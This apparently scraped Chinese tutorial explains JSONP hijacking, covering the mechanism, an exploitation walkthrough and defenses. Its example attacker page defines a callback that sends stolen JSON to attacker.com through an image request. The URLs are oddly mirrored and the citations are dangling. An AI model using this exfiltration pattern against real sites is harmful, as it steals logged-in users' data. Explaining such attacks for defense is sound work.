jsonp劫持利用
时间: 2025-05-29 11:26:49 浏览: 26
### JSONP 劫持的原理
JSONP(JSON with Padding)是一种通过 `<script>` 标签绕过浏览器同源策略的技术。它的核心机制在于利用了 `<script>` 标签可以加载跨域资源的能力,而这种能力不受同源政策限制。然而,由于 JSONP 的设计缺陷,可能导致安全风险。
#### 原理分析
JSONP 请求通常由服务器返回一段 JavaScript 代码,这段代码会被客户端动态执行。假设存在一个支持 JSONP 的接口 `http://example.com/api?callback=foo`,该接口会返回如下形式的数据:
```javascript
foo({"key": "value"});
```
这里的 `foo` 是客户端指定的一个函数名,用于处理返回的结果。如果攻击者能够控制回调函数的内容或者用户的访问环境,则可能引发安全性问题。
具体来说,JSONP 劫持主要依赖于以下几个条件:
1. **目标网站提供 JSONP 支持**:即允许用户自定义 callback 参数。
2. **受害者登录状态可被利用**:例如,攻击者能获取到受害者的 Cookie 或其他认证信息。
3. **恶意脚本注入**:攻击者可以在第三方页面中嵌入 `<script>` 标签指向目标 API 地址,并设置自己的回调函数名称。
一旦上述条件满足,攻击者就可以通过构造合适的 URL 和回调函数窃取敏感数据[^1]。
---
### 利用方式
以下是典型的 JSONP 劫持过程描述:
1. **准备阶段**
- 攻击者创建一个网页,在其中加入以下 HTML 片段:
```html
<script>
function maliciousCallback(data) {
alleet('Stolen data: ' + JSON.stringify(data));
// 将盗取的信息发送至远程服务器
var img = new Image();
img.src = "http://attacker.com/log?" + encodeURIComponent(JSON.stringify(data));
}
</script>
<script src="http://vulnerable-site.com/api?callback=maliciousCallback"></script>
```
2. **触发阶段**
- 当用户访问此恶意网页时,浏览器会向 `http://vulnerable-site.com/api?callback=maliciousCallback` 发起请求。
- 如果用户已登录到 `vulnerable-site.com` 并携带有效 Session ID (Cookie),那么响应将包含受保护的数据。
3. **后果**
- 返回的数据会被传递给 `maliciousCallback()` 函数并被执行。
- 此过程中,敏感信息可能会泄露给攻击者。
需要注意的是,现代 Web 应用已经逐渐淘汰了纯 JSONP 方案,转而使用 CORS 来解决跨域资源共享需求,从而减少此类安全隐患的发生概率[^5]。
---
### 防护措施建议
为了防止 JSONP 被滥用造成危害,可以从多个角度采取防护手段:
- 不再对外公开支持任意参数命名的 JSONP 接口;
- 对所有 GET 请求实施严格的 CSRF Token 校验;
- 使用 HTTPS 加密通信链路以降低中间人攻击的风险;
- 教育开发者避免在生产环境中暴露未授权即可调用的服务端点。
---
阅读全文
相关推荐


















